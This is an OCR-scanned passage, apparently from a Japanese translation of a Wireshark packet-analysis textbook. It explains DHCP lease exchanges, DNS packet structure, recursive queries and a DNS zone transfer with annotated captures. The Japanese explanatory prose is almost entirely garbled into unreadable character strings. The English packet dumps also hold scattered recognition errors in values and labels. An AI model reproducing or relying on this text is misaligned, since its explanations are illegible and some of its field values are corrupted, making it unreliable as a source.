Internet Protocol, Src: 192.168.0.1 (192.168.0.1), Dst: 192.168.0.10 (192.168.0.10)
User Datagram Protocol, Src Port: bootps (67), Dst Port: bootpc (68)
= Bootstrap Protocol
Message type: Boot Reply (2) @
Hardware type: Ethernet
Hardware address length: 6

Hops: O
Transaction ID: 0x00003did @
I seconds elapsed: 0

! Bootp flags: 0x0000 (Unicast)

Client IP address: 0.0.0.0 (0.0.0.0)
evour (client) IP address: 192.168.0.10 (192.168.0.10)
ONext server IP address: 192.168.0.1 (192.168.0.1)
Relay agent IP address: 0.0.0.0 (0.0.0.0)
Client MAC address: Grandstr_01:fc:42 (00:0b:82:01:fc:42)
Client hardware address padding: 00000000000000000000
server host name not given
Boot file name not given
Magic cookie: (OK)
option: (t=53,1=1) DHCP Message Type = DHCP offer e
option: (t=1,1=4) sSubnet Mask = 255.255.255.0
option: (t=58,1=4) Renewal Time value = 30 minutes
option: (t=59,1=4) Rebinding Time value = 52 minutes, 30 seconds
option: (t=51,1=4) IP Address Lease Time = 1 hour
option: (t=54,71=4) DHCP Server Identifier = 192.168.0.1
eEnd option
Padding

EEEEEE

(47-4 DHCP OFFER/YJ v b

S
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2% H o237 v O DHCP# 412 [OFFER/N w b | L ITiE 1, Message type SR TH5H 2 &
ERLTWET@, 737 v MIZEIFLED Ty PEFR UL Y H 2 2 a Y IDHFEENTWLOTO,
COENERIZTEHEDTHLEDLIYET,

OFFER/¥7 v MZ. DHCPH —\D37 G4 T ¥V MIH —CAZ R T H7-DIT%k 25D TT, 237y
MZiE, DHCPH — NEHHONEHE, 7747 Y MIRHEL72W T FLAOFRE S E TR T ET,
[X]7-4 TiZ. Your (client) IP address 7 4 — )V FC, 192.168.0.10%27 54 7 ¥ MIft X T E ¢
©. Next server IP address 7 4 — )V N2 5 192.168.0.1 £ \» 9 i@ix. DHCPH—/"& 77 4 )V k
F= 7z ARFELCIPT FLAZEGFLTWBEILERLTNET,

WHIDOF T a 328 v bASDHCP OFFER & L TR ENTWAEZEERLTVETO. D
BITH A Ty a v i2dk), =52 534 7Y FDOIP T FL AUSOBHIER IR ST
ZENDLPNET, PSR TVLDRIKD L) B HEHR T,

e Y7 %y MY AYA255.255.255.0

o HUFIRFHIZ 3045

e F/\A Y51~ (REBINDING) W& 524530 %
o IP7RL AV — AWML 1IKER

e DHCP# —/3ilkhl+1%192.168.0.1

7.1.2.3 DHCP REQUEST/\sv b

27947 ¥ MIDHCPH — 950 % T3 & B’7-50 & 9 IZDHCP REQUEST /47 v b
EEVET,

FRIPT FLAQRR 7O ANE T LTHHWOT, 3FHO/7 v A IPT FL20.0.0.02°5
BEETOAS, X7y ME, SISO DHCPH— & HloTWE T,

Message type 7 1 =V R, 737 v BRI Y M CHLIEZRLTVETO, FXY 7 F v 77
ANVNDIRT Y METRT—EHOEFMBZ R L CHhE A, HleeER/IENT T v ar
E5%720 HLVETUH 7 a Y IDAFEENTVETO, IPT7 FLAERATRTELIC -
TWw5b &) BT, DHCP DISCOVER Y7 v MM TWE T,

Option 7 4 — IV F2:5@. ZNAHDHCP REQUEST 87 v M Tdh b Z EMbH D F 3, Requested
IP Address 25221 T/ <{ %Y, DHCP Server Identifier 7 4 =V FIZH 7 KL AR A>T ET,

7.1.2.4 DHCP ACK/I\rrv b
LB DR & L CDHCP Y — N3, B7-6D X ) ICERENZIPTRLAZ Y 54T ¥ M2
DHCPACK Y7 v FCT#D), COFERE T — I N—RITReH L £ 7,
INTIZIAT Y MIIPT FLADBED B THN, WELZHEDL I EWEBICRDF L7,

S
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-
. 3 0.070031 0.0.0.0 255.255.255.255 DHCP DHCP Request - Transaction ID Ox3dle

Wi Eflo]E )

Frame 3 (314 bytes on wire, 314 bytes captured)

= Bootstrap Protocol
Message type: Boot Request (1) @
Hardware type: Ethernet
Hardware address length: 6
Hops: O
Transaction ID: 0x00003dle @
seconds elapsed: 0
Bootp flags: Ox0000 (Unicast)
Client IP address: 0.0.0.0 (0.0.0.0)
I vour (client) IP address: 0.0.0.0 (0.0.0.0)
Next server IP address: 0.0.0.0 (0.0.0.0)
relay agent IP address: 0.0.0.0 (0.0.0.0)

client hardware address padding: 00000000000000000000

server host name not given

goot file name not given

Magic cookie: (OK)
option: (t=53,1=1) DHCP Message Type = DHCP Requesto
option: (t=61,1=7) Client identifier
option: (t=50,1=4) Requested IP Address = 192.168.0.10
option: (t=54,1=4) DHCP Server Identifier = 192.168.0.1
option: (t=55,1=4) Parameter Request List

End option

padding

Ethernet II, Src: Grandstr_01:fc:42 (00:0b:82:01:fc:42), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
Internet Protocol, Src: 0.0.0.0 (0.0.0.0), Dst: 255.255.255.255 (255.255.255.255)°
User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67)

Client MAC address: Grandstr_01:fc:42 (00:0b:82:01:fc:42)

(7-5 DHCP REQUEST/N7 v b

-
|8 4 0.070345 192.168.0.1 192.168.0.10 DHCP DHCP ACK - Transaction ID Ox3d1e

PN/ ——

Frame 4 (342 bytes on wire, 342 bytes captured)

Message type: Boot Reply (2)
Hardware type: Ethernet
Hardware address length: &
Hops: O
Transaction ID: 0x00003dle
seconds elapsed: 0
Bootp flags: Ox0000 (Unicast)
Client IP address: 0.0.0.0 (0.0.0.0)
Your (client) IP address: 192.168.0.10 (192.168.0.10)
Next server IP address: 0.0.0.0 (0.0.0.0)
Relay agent IP address: 0.0.0.0 (0.0.0.0)
Client MAC address: Grandstr_01:fc:42 (00:0b:82:01:fc:42)
client hardware address padding: 00000000000000000000
server host name not given
goot file name not given
Magic cookie: (OK)

Ethernet II, Src: DellComp_ad:f1:9b (00:08:74:ad:f1:9b), Dst: Grandstr_01:fc:42 (00:0b:82:01:fc:42)
Internet Protocol, Src: 192.168.0.1 (192.168.0.1), Dst: 192.168.0.10 (192.168.0.10)
User Datagram Protocol, Src Port: bootps (67), Dst Port: bootpc (68)

= Bootstrap Protocol

option: (t=53,1=1) DHCP Message Type = DHCP ACK
option: (t=58,1=4) Renewal Time value = 30 minutes
option: (t=59,1=4) Rebinding Time value = 52 minutes, 30 seconds
option: (t=51,1=4) IP Address Lease Time = 1 hour
option: (t=54,1=4) DHCP Server Identifier = 192.168.0.1
option: (t=1,1=4) Subnet Mask = 255.255.255.0
End Option
Padding

(7-6 DHCP ACK/X7r v k
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7.1.3 DHCPOQU—XES

DHCPH — A HEEICIP T FLAZEN U THZ L%, 7947V MIIPTRL AR — X (L
ML) $2L8VET, 2N I7A4 7 Y ME—EMBZFCOIPT7T FLALZMHATE, 5l&H &Ml
AL7ZZWEER) —2A0EHPLECRYET, LB L/ZDORATHE R, 7547 ¥ M HIoOT
IP7 FLAZRUET A6, U —ABBANTOALEICEEL, WFoRabEERo U —X
HERSINTW33H0E LTHbNET,

IPTRLAZYY —AHDI FAT IR TLE, IPT7 LA FEERT57:0ICDORAT
Ok ZDOEIERLE EAT L AT R ) FEA. SOTUEAE Y —XBHLIFUTET,

) — ZH#HTld. DHCP DISCOVERY /%% » b & DHCP OFFER/ Y7 v MIRE T, U — AW
PINTEH TODORALM & i35 &, ) — AWH TIZREQUEST & ACK X7 v DR 7 v 7 LAt
PDEHNFRA V=AW OV T VDF ¥ 7F %7 74 VA dhep_inlease_renewal.pcap (2d 1)
9,

7.1.4 DHCPFAIYav&XvtE—IH4T

DHCPOFH#IEIE, 2047 a3 ildbVEd, THOLBY, 2OH 4 XL NFE LML I
DlcoTwET, Ny MEEKOKESIE, T2+ 7Y a v OMAGLEIIL o TEDSTETE
9 DHCP* 7 a v DMl 7 — & 12D WTid, http://www.iana.org/assignments/bootp-dhep-
parameters/ & S L T2 &0,

FTRTODHCP N v MIWLHE e B ME—DF 72 a ) Message Typet+ 7> a v (X7 av
53) TTo ZOF T avid, X7y MIEENLEHEZ,. DHCPZ 94 7 ¥ ME23— "l &
MBS 2% LEd, F7-1DX )12, Message Typed 7 a Y iZ 8D 7,

57-1 DHCP Message Type4 73>

SA4TES | xve—T 447 |85

1 DISCOVER 7547 ¥ MM RE % DHCP Y — N\ % Bo 5200 X vtk —

2 OFFER F— N5 T4 T ¥ %SNS DISCOVER ST v EADIEE A v
e=Y

3 REQUEST 754 T VIO = NANELNDREHRERA v =

4 DECLINE 754 T ¥ MBI — NN S NS R E A A v — Y

5 ACK P NPT ATV INESNDREGROWRME A v —

6 NAK TF= W57 T4 TV INELNLREFRORMIEE A v =

7 RELEASE TIGAT YIRS = NANELNL Y —ADH Ay =Y, TRIZXD
BT MATRIL S B

8 INFORM 2IAT Y IDBTTIKIPT FLAZRGF L TV B ERIC, EEhkE 2 7
A7 VBTN EDbEL Ay =D

7.2 DNS

DNS (Domain Name System) (&, £ ¥ — 4y ;70 I VOHFTHREE LSOOV EDTT,

S
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DNS & www.google.com % £ D & 9 %2 0 (DNS#) % 74.125.159.99 D X 9 1P 7 KL A4 L
T3, SNICLY, BELAZVAY NI = BEDOIPT FLARbI SR WnwWE ETH, DNSKHTT 7
CRATHLIENTEET,

DNSH =/ NIZIP7 FL A L DNSHADOR T2 7)) VY —AL A=K L) F—FRX—2%
B, IhE2 7947 Y MRIEPODNSH —NEHEELTVES,

W N

DNSY—/\D7 —FT I F vIENEDEMEDT, T TIEF—MRIEDNS bS5 T v
2 7ZRWNE T, http://www.isc.org/community/reference/RFCs/DNS T. DNS BE:ED
SFIFHERFCZBRIDCENTEFT,

7.2.1 DNSI\7rv hODiEE
R 7-7 55055 X512, DNS/S7 v holikid, 3O DHCP & I3E TR D 5, DNS/Nry
FOT7 4=V FIRKRDIE I I >TWET,

DNS #5l+F
DNSZ T8 2L ARY ZAZWISAHT B0 WS E T,
QR (Query/Response)
Ny MIDNS 27 ) 2D VAR A LDz~ L E T,
OpCode
A=V EINLIMEDIA TEEHRLET,
AA (Authoritative Answers)
VARY ANy NTZOMENRE Y FENTWIE. FAAL VICHER DS 5 F— L —39p
LOLVARYATHAILEERLET,
TC (Truncation)
LARYADPETE Ty MNIZIE S w20, UhiEoosh-2 2B R L T3,
RD (Recursion Desired)
DNSZ T UIZZOflidity hENTWwWAHE, DNSZ 547 ¥ MIHBD A — 29— 31ZxkF L
Ty ER LIRS WEEICHE 7 ) 2 2R LET,
RA (Recursion Available)
VARV ZIZZOMEDREY FENTWEH E, 2= —=N"\PEIFI7 ) 2 R—-FLTn5
ZLERLET,
Z (Reserved)
RFC 1035 T, §XTOWCEy FENLZ B EEINTVET, L2 LRCode 74—V FD
PWHRE L THWONL AL DD E T,

S
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RCode (Response Code)
DNSLV AR ATHibI, 7 —DFMERLE T,
Question Count
Questiont 27 ¥ a A IZHEFNTWAI Y M),
Answer Count
Answert 7 v a vIZEFEFNTWAHI Y M),
Name Server Count
Authority £ 7 ¥ a YV IZEHEFN TV E A —LH—DY YV — AL I— ¥,
Additional Records Count
Additional Informationt 27 ¥ a Y IZ&EFIFNTVWEZDMWDY VY — AL 32— FH,
Questiont 73>
DNSH—NIZESN12oU Loy ) #E&hnEEXYy v a v,
Answerst 73>
JIVDVARY AL RH1IDOU EDY Y —ALa—FeaENERLs v a v,
Authority 7> 3>
ST R L I & RS D B CE DM D B A — A —NERTY Y —ALI— %
G EEYsva v,
Additional Informationt %2 3>
JIVDOVARY AL LTHHETELVHEERE R T5) VY — AL I —F2EGIER

s va,
DNS
Ewv A
Stry b 0-15 16-31
0 DNSH#BIF Q| opcode |A[E[BIR] 2 | reode
32 Question Count Answer Count
64 Name Server Count Additional Records Count
96 Questiont7> 3> Answerst7</3>
128 Authorityzo>3> Additional Informationt 7>/ 3>
X7-7 DNS/YX7 v bDIEE
7.2.2 HEIEDNSI IV dns_guery_response.pcap

DNSiZ7 1) VAR ZADBXNTHREL L9 DNSHZIPT FLAIZEBRLIWT T4 T 2 b

S |
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IEDNSH =N IV EEEL, Y= NRBL AR RE L TERSNEREZEHNLE T, Fv 7
F % 7 7 4 Vdns_query_response.pcap*HOH b L )2, ok b HHAYE, ZOMBIZSLTER
DIE2MD /% FOHKRTT,

WDy ME, 7547~ 3192.168.0.114 5 5 —3205.152.37.23 D 53 % K — b (DNS D
H#HR— ) (2% SNADNS 27 ) TF (R7-8) ZD/87 v hOAY ¥ %H~5% &, DNS$ F7:UDP
FHSTHDEONDLINETO,

2%y FODNSE G & LD &L RIADITZ) D/NEHRT 4=V RD, OEDDFlagst” g v~
FERENTOL00bP0ET, 20X va 2EBATLE, Ayt —UAE# s 1) (Standard
query) THHY@, YVEDOLNTESLT, BIEZERINTVWEI b2 T (HFIZOVWT
B LET ). Queriest 7 T a v EREMTLE, 72UV EDRTHRETEE T, T I T,
wireshark.org &9 & 2K A D (typeA) £ > —% v+ (IN) TRLADZ LY 2R TE
$9O, 2T D/84 v M [wireshark.org KA A YIZEIN YU THRALZIPT FLAIZ? ] 3T
WhHbHIFTY,

-
[ 10.000000 192.168.0.114 205.152.37.23 DNS Standard query A wireshark.org E‘EE

Frame 1 (73 bytes on wire, 73 bytes captured)
Ethernet II, Src: HonHaiPr_6e:8b:24 (00:16:ce:6e:8b:24), Dst: D-Link_21:99:4c (00:05:5d:21:99:4c)
® Internet Protocol, Src: 192.168.0.114 (192.168.0.114), Dst: 205.152.37.23 (205.152.37.23)
User Datagram Protocol, Src Port: polestar (1060), Dst Port: domain (53) @
= Domain Name System (query)
Response In: 2
Transaction ID: Ox180f
B Flags: 0x0100 (standard query) e
HB6G An60 DooD DoGE = Response: Message is a query
D00 O... ..., ..., = opcode: standard query (0)
wev. o200 ..., .... = Truncated: Message is not truncated
....... 1.... .... =Recursion desired: Do query recursively
eee o ween J000 ... = 2Z: reserved (0)
........... 0 .... = Non-authenticated data OK: Non-authenticated data is unacceptable
Questions: 1
Answer RRs: 0
Authority RRs: O
Additional RRs: O
B Queries
B wireshark.org: type A, class IN o
Name: wireshark.org
Type: A (Host address)
Class: IN (0x0001)

0010 00 3b 1f 27 00 00 80 11
0020 25 17 04 24 00 35 00 27
[(HeELVO00 00 00 00 00 00 09 77
(LZIN03 6f 72 67 00 00 01 00

4 fama] »

L

[7-8 DNSOTIVINTy bk

OV ITAMINTAHLVARY AN, R7-9TRLTVL2HEHD N v N TF o, ZO287 v MZ
BFE—DFNF ATV LEDOTO, A D7 TVIHIETELVARY ANETNTWAEZ L bh
DEJ,
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r
. 20.091164 205.152.37.23 192.168.0.114 DNS Standard query response A 128.121.50.122 E@E

Frame 2 (89 bytes on wire, 89 bytes captured)
Ethernet II, Src: D-Link_21:99:4c (00:05:5d:21:99:4c), Dst: HonHaiPr_6e:8b:24 (00:16:ce:6e:8b:24)
Internet Protocol, Src: 205.152.37.23 (205.152.37.23), Dst: 192.168.0.114 (192.168.0.114)
User Datagram Protocol, Src Port: domain (53), Dst Port: polestar (1060)
= Domain Name System (response)
Request In: 1
[Time: 0.091164000 seconds]
Transaction ID: 0x180f o
B Flags: 0x8180 (standard query response, No error) e

al5ac = Response: Message 15 a response
| opcode: standard query (0) l
I Authoritative: Server is not an authority for domain |
Truncated: Message is not truncated |
[ Recursion desired: Do query recursively |
il = Recursion available: Server can do recursive queries |

Z: reserved (0)
Answer authenticated: Answer/authority portion was not authenticated by the server
Reply code: No error (0)

equest‘ionﬁ: 1
Answer RRs: 1
Authority RRs: 0O

" Additional RRs: 0
B Queries
B wireshark.org: type A, class IN
L Name: wireshark.org
Type: A (Host address)
i class: IN (0x0001)
Bl Answers

B wireshark.org: type A, class IN, addr 128.121.50.122 o
Name: wireshark.org
Type: A (Host address)
class: IN (Ox0001)
Time to live: 4 hours
pata length: 4
Addr: 128.121.50.122

0020 72 00 35 04 24 00 20 =
0030 00 00 00 Q0 09 77
0040 6f 72 67 00 00 01 EI
0050 38 40 00 04 80 79 3

H7-9 DNSDOLRFLZINgy bk

Flagst7 v a v &b E, TNBVARYATHY, LETHIUIFHGVWRELRZ LD IYET
Q. TNy M1 2DMuaEbEE 12D Y —AL A= FLAEINTELTO, jt4 Dfn
BEOREZDLARY AR A>TWE T, Answerst 2 ¥ a v 2R3 5 &, wireshark.org®IP 7
FL A13128.121.50.122 2 W) 7 TV TAH L AR Y ADMERTEEFTO. 7947~ MIZ D
WEDHEIZIP Ny MR A)E L. wireshark.org & OBEZ BB L T3,

7.2.3 DNSORWSDHLEFIT

Type 74—V FiE. DNSOZ T L VARV ATibIEG, VY —ALI—F DY A4 TERLET,
—MW )V —ALI—FDIA THRT-2ICELOF L. BHEDONT 74y 7 RAFEEZBLTIN
SO8ATHHIZTHIEIIHDLTLE),

BB, RTI2IIHMHEN 2 —ETEIHVEHA DNSOY Y —ZALI—FDF { ThMBHEMICSE L
7204 1d, http://www.iana.org/assignments/dns-parameters/ % 8 L T 72 &\,
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K72 —fALE)Y—ALI—RDEA T

& | 547 EE

1 A IPv4A R A +DT FL A

2 NS W DBH % — 2H =\
5 CNAME FAMDRG (A YT R)
15 MX A — )=

16 TXT T ¥ A MLEH

28 AAAA IPv6 xR A DT FL A

251 IXFR a5 — Vi

252 AXFR SELEY — ViR

7.2.4 DNSOBHF dns_recursivequery_server.pcap

A% =% FODNSIZBE 2 & Z o TWAERZD, 754 TV 5% ONzs ZYIHT
LUVARY A% EETH L &E DNSH—NFALABET 2 LENH) T3, WEO DNSH— NI,
T—HNDA Y T3y b —=NODNSH & IP 7 KL ZO3F IR T3 M- Tn 513 T35, Google
RDellOIPT FLAZMB LI LEHYEHA,

DNSH—NIPT FLARMET Y6, V7 2 AV 15722 547~ bofRHLE LTHIODNS
F—=NZ7 ) BATVE T DNSH—1\W2 54 7 2 DX HIATET 5 204 [BIR] LIFD
7,

DNSZ7 547 Y N DNSH—NOWEOBE P OHR 7O A 2R LTAELLI T3
dns_recursivequery_client.pcap 7 7 A V&M E T3, TDT7 74 MIZIiE, 7547 Y FODNS 7
AT Xy T Fx LIeslconnry M EEhTwEd. &WND/37 v MEDNSZ 94 7 >
172.16.0.82°5, DNSH# —/V172.16.0.102~& % b7z 7 =) ©F (K7-10).

Z D3y FODNSHEGZ B & 2 huh www.nostarch.com &\ 9 DNS#@DA % £ 7L a—
FIZx 3 21887 2 THHI LD b T, Flagst s v arZREMTLE. 2037y Lo
Moy, FRPERENTVLI LD ETO,

2HHD v ME, FREBYVRAOZ Z)ICHIET 5 d0TT (B7-11),

ZONTY MO TYF s avIDIZZZYOIDE—HLTENO. =5 —HRVDT, www.
nostarch.com®AY — AL 2— FZ&ZITHY 5@,

O Z)RHBIZL > TREEINTVDLOZMHERT HME—0 Fikid, dns_recursivequery_
server.pcap 7 7 4 Ml 5 X H 2, HIFT T ) B THONIZBEDDNS Y —ND TG 74 v 72 F T
F¥FTHIETT, 2O77AME, 723 7bh7BEoa— A )VDNSH—NEDNT T4y 7 %
FXTFx L72bDTYT. MOy M, BlIEFY T Fr L7 7ANVTRIZZ ) EFH—T
9o DNSH— NE 27 ) 2 ZIFY, B—AVDF—FX— 22L& L FE L72H DNS% (nostarch.
com) &£ —HTAHIP7 FLAEMRL W) HuEbEOREEZ RO ONFEFEATLR, 737 v M
WEFRZERE Y ISty PENTWABEDT, DNSH—NPE 2 %2 HWOF 572012132020 DNSH— 312
MWEbETVwED05 2FBDO/ 7 v bbb 5,

S
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~
[ 10.000000 172.16.0.8 172.16.0.102 DNS Standard query A www.nostarch.com Bl O )

Frame 1 (76 bytes on wire, 76 bytes captured)

Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:0c:29:92:94:9f (00:0c:29:92:94:9f)

Internet Protocol, src: 172.16.0.8 (172.16.0.8), Dst: 172.16.0.102 (172.16.0.102)

User Datagram Protocol, Src Port: 56125 (56125), Dst Port: 53 (53)

= Domain Name [{
Response In:
Transaction ID: Ox8b34

B Flags: 0x0100 (standard query)
(1505 5500 oo oooc Response: Message is a query

opcode: standard query (0)

.... = Truncated: Message is not truncated

.... = Recursion desired: Do query recursively e

... = Z: reserved (0)

.... = Non-authenticated data OK: Non-authenticated data is unacceptable

qQuestions: 1
Answer RRs: 0
Authority RRs: O
Additional RRs: 0
B queries
E www.nostarch.com: type A, class IN
oNa.me: www. nostarch. com
Type: A (Host address)
class: IN (Ox0001)

0010 47 00 00 80 11 00 00 ac 10 00 08 -
0020 3d 00 35 00 4

0030 03 H
0040 63 6f 6

1

C J

H7-10 BRFEXEY Mty hEhADNSTIY

_
[l 20.183134 172.16.0.102 172.16.0.8 DNS Standard query response A 72.32.92.4 [ETSEES | P

Frame 2 (92 bytes on wire, 92 bytes captured)
Ethernet II, src: 00:0c:29:92:94:9f (00:0c:29:92:94:9f), Dst: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee)
Internet Protocol, src: 172.16.0.102 (172.16.0.102), Dst: 172.16.0.8 (172.16.0.8)
User Datagram Protocol, Src Port: 53 (53), Dst Port: 56125 (56125)
= Domain Name stem (response)
Request In: 1
[Time: 0.183134000 seconds]
Transaction ID: 0x8b34 @)
Flags: 0x8180 (Standard query response, No error)
qQuestions: 1
Answer RRs: 1
Authority RRs: O
Additional RRs: 0O
B Queries
= www.nostarch.com: type A, class IN
Name: waww.nostarch. com
Type: A (Host address)

| class: IN (0x0001)
B Answers
= www.nostarch.com: type A, class IN, addr 72.32.92.4
(! Name: www.nostarch. com
Type: A (Host address)e
I Cclass: IN (0x0001)
Time to live: 1 hour |

pata length: 4
Addr: 72.32.92.4

0 35

7-11 DNS7IUDLZAKR>ZX

2By FTIERT7-120 X912, 172.16.0.102 D DNSH — 333422 112 727 7 L) % %5
TWET, 422103, LRICHTEY) 7 TR MORgkEE LTHE SN —NTT, Tor )i
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TADI ZYPLER SNz DT, DNSH =% 7 T TV INEERSETHET,

. 20.000379 172.16.0.102 4.2.2.1 DNS Standard query A www.nostarch.com lﬂh &JLEIEE
Frame 2 (76 bytes on wire, 76 bytes captured)
Ethernet TI, Src: 00:0c:29:92:94:8f (00:0c:28:82:94:9F), Dst: 00:26:0b:31:07:33 (00:26:0b:31:07:33)
Internet Protocol, src: 172.16.0.102 (172.16.0.102), Dst: 4.2.2.1 (4.2.2.1)
User Datagram Protocol, Src Por 62570 (62570), Dst Por 93 (53)
= Domain Name System (query)
Response In: 3
Transaction ID: 0xf34d
Flags: 0x0100 (Standard query)
questions: 1
il Answer RRs: O
Authority RRs: 0
Additional RRs: O
B Queries
£ www.nostarch. com: type A, class IN
Name: www.nostarch. com
Type: A (Host address)
Class: IN (0x0001)

0010 00 3e 38 d0 00 00 B0 11 4f 66 ac 10 00 66 04 02
0020 02 01 f4 6a 00 35 00 2a 52 28 [FIECITENEEEY
WEVINO0 00 00 00 00 00 03 77 77 77 08 6e 6f 73 74 61
WL’ 2 63 68 03 63 6f 6d 00 00 01 00 01

-
%

X7-12 BlEI7ITY

FEBEDF T T 77 ANVER NI NI T a VIDWBRRLID, TNPHTR7 ) THLT
ERBRYET F—N42210°2 Dy bEZIFA & U= AV DNSH—NIZRT7-13D &)
RUVARY AR ZIMY £,

[ 3 0.182602 4.2.2.1 172.16.0.102 DNS Standard query response A 72.32.924 [ES &J@@
Frame 3 (92 bytes on wire, 92 bytes captured)
Ethernet IT, Src: 00:26:0b:31:07:33 (00:26:0b:31:07:33), Dst: 00:0c:29:92:94:9f (00:0c:29:92:94:9F)
Internet Protocol, src: 4.2.2.1 (4.2.2.1), pDst: 172.16.0.102 (172.16.0.102)
user Datagram Protocol, src Port: 53 (53), DSt Port: 62570 (62570)
= Domain Nal em (response)
Request In: 2
[Time: 0.182223000 seconds]
Transaction ID: Oxf34d
il Flags: 0x8180 (standard query response, No error)
questions: 1
Answer RRs: 1
Authority RRs: O
Additional RRs: O
= Queries
= www.nostarch.com: type A, class IN
Name: www.nostarch. com
Type: A (Host address)
Class: IN (0x0001)
E Answers
= www.nostarch.com: type A, class IN, addr 72.32.92.4
Name: www.nostarch. com
Type: A (Host address)
Class: IN (0Ox0001)
Time to live: 1 hour
pata length: 4
Addr: 72.32.92.4

-
L

®7-13 BRIIVADLZIRCX
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VARV A% ZI TS &, 0 —H )V DNSH — N2 48 H O th D23 v MIER S 71 & &
LT.DNSZ 547 MIEELET,

¥ FIVTIZFRIZ 1A 2T TEAS, 1O DNSER THIEAMTE L IThRbEZ EDH Y T,
Z ZTIEDNSH —34.2.2.1 % 5 % % ZFIY F L7245, DNSH— N GHIE A 15272012, 1350
DNSH— NI HIF 7 2) 2 WA R T2HERH Y E3. 10O ML 7 1) HSRAAYIEY) 72 02
FHLETIC MAFERDLZEDNDHLDOTT, R7-1413H)7 27 ) O ZE KRIL L TWE T,

. S

DNSZZ47 >k HO—7#JUDNS =N\ AEBDNS H—/\

i1

H7-14 BF7TY

7.2.5 DNSVY—VEi&

DNSY — > L id, DNSH — NP EHEL SN AH 2B (DNSHO 7V —7) TF, I
[Emma's Diner] 7%, emmasdiner.com % & #32% DNSH—\%2FoTWbELFEL L ). ZOWA,
emmasdiner.com D IP7 FL ZZ &L X9 L T2 N0 ERKEHT. 20V — VITHER % Fo T
B M DODNSH —NERDIY 2 LEAH) £9, Emma's Diner 25 L. DNSAHIZ2H D X —
VRS> (f1Z mail.emmasdiner.com & LCHEEFT) 2449 72012, 2F HODNSH— %@L 7:
Wt TOF— NEmail 7 XA JCHERZ RO LI ET RI7-150 8912, T RX A~
b oL MEIZRIUL, EHICDNSH = NZBEMTEI LN TEET,

V= BRI, EEILRZIT) HNT2OOEROMTY = F— ¥ Pk SN AEHITHAE L £
Fo 728 ZATHH O DNSH — N2 FF OO HH L, WH T T4 <) O DNSH— 3h3&E 1l L7z
FIHiA. 774 <) DNSH—/SODNS V' — Y EHROBERZRIFT 5 L) L 7H > 45) ODNSH —
NWEBELTVWET, V' — VERIIIRO 2FH DY £3,

T2V — % (AXFR)
gy — v afkrimt LEd,
¥aJ—ERx (IXFR)
V= VERO—IROAFEE LTI,
7 74 v dns_axfr.pcap (Zid. 172.16.16.164 & 172.16.16.139 £\ 2 ODHEE M TOE4E Y — Vifin
EOV TR EENTHET,
DT 7ANEMDOTHLE, UDP/X7 v N TRBRLSTCP AT v " 3H LD T, MES727 740V

S
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ERHWOTREZWHEEI DL LNERA, HEPICDNSIZUDPE2fVE§25, V= V%R ED
—EBDF AT IZOWTIETCP VT T, KEDF— ¥ 2% T 54, TCPDOIT) AMEHE
WL TT, SOF Y TFXY 77 A VDT DIODr v ME, TCPD3Y ANV K =24 7 TY,

web.emmasdiner.com

Ry db.web.emmasdiner.com
L]
=
s cart.web.emmasdiner.com
B
s

mail.emmasdiner.com

X7-15 DNSY—iRRERIZEOEEHEE HEITS

A H D8 v M3, 172.16.16.164 £ 172.16.16.139 [ DV — Vit ) 7 TA P THF > TV E T,
Z D3y MIDNSTE#HUEE TN T EH AL [TCP segment of reassembled PDU| & 72> T 5
DIE, V= VHkY) 7 ZANDT = F S, BRO/r v FTHELN720TT 4FH L 6FHD /8 v
MIF—=FHEINTOET, 5HFEHO7 vy MI4AFR D7 v b & Z T - 72809 ACK 7 v
FCTTo Ty ERZDEH TP RTWIETHEREINL DD Wireshark DRERED O & D TT,
7-161RLTWAE LI, 6FHDO/r v b EL R DNSY — Vilinik) 72 A N LTS L2 L
NTEET,

V= VIR ERIIAERE 7 ) TTA@, AXFREWH LI—FF A TZ21OZTERLEFTO, =
i, = D5 DNS Y — Y 2RO ZEEERTH L V) BIRIZZDE T, =D 5DL AR A
X B7-1707FHO Ny b X HIz, V=rvatkoLa—FraEInizbolz iy, -
R TIEPLYOROT— 75D SNF T, SN FLEHEMART VTV TT, V= YRk
SET95E TCPTAT7 5 VB TRTLET,
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. 60.218656 172.16.16.164 172.16.16.139 DNS Standard query AXFR contoso.local EI@E

Frame 6 (87 bytes on wire, 87 bytes captured)
Ethernet II, sSrc: 00:0c:29:7e:ec:a4 (00:0c:29:7e:ec:a4), Dst: 00:0c:29:ce:d1:9e (00:0c:29:ce:dl:9e)
Internet Protocol, Src: 172.16.16.164 (172.16.16.164), Dst: 172.16.16.139 (172.16.16.139)
Transmission control Protocol, sSrc Port: 1108 (1108), Dst Port: 53 (53), Seq: 1570704528, Ack: 451899203, Len: 33
[Reassembled TCP Segments (35 bytes): #4(2), #6(33)]
= Domain Name System (query)
Response I 7
Length: 33
Transaction ID: 0x0007
Flags: 0x0100 (standard query) 0
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 0
Queries
= contoso. local: type AXFR, class IN
Name: contoso. local
eType: AXFR (Request for full zone transfer)
class: IN (0x0001)

[/ IN00 21 00 07 01 00 00 01 00 00 00 00 00 00 07 63]
(Mol 6e 74 6f 73 6f 05 6c 6f 63 61 6c 00 00 f
0020 (OEETEEE

]

m

|
|
Frame (87 bytes)| Reassembled TCP (35 bytes) |
L )
7-16 DNSZEL Y — UEXER
- 70240425 172.16.16.139 172.16.16.164 DNS response SOA dr A 172.16.16.139 NS dr local NS e 1 SRV 0100 3268 local SRV 0 100 88 d... E‘QE‘
Frame 7 (1210 bytes on wire, 1210 bytes (ap[ured)

Ethernet IT, Src: 00:0c:29:ce:dl:9e (00:0c:2 d1:9e), Dst: 00:0c:29:7e:ec:ad (00:0c:29:7e:ec:ad)
Internet Protocol, Srci 172.16.16.139 (172.16. 15 :139), Dst: 172.16.16.164 (172.16.16.164)

Transmission Control Protocol, Src Port: 53 (53), DSt Port: 1108 (1108), Seq: 451899203, Ack: 1570704561

D Sys (!

Len: 1156

Reguest

In: 6
[Time: 0.021769000 seconds]
Length: 1154
Transaction Ip: 0x0007
Flags: 0x8180 (standard query response, No error)
questions: 1
Answer RRs: 21
Authority RRs: 0
Additional RRs: O
© Queries
B contoso. local: type AXFR, class IN
contoso. local
AXFR (Request for full zone transfer)
1 IN (0x0001)

.Tocal: type s0A, class IN, mname dns3.contoso.local

.Tocal: type A, class IN, addr 172.16.16.139

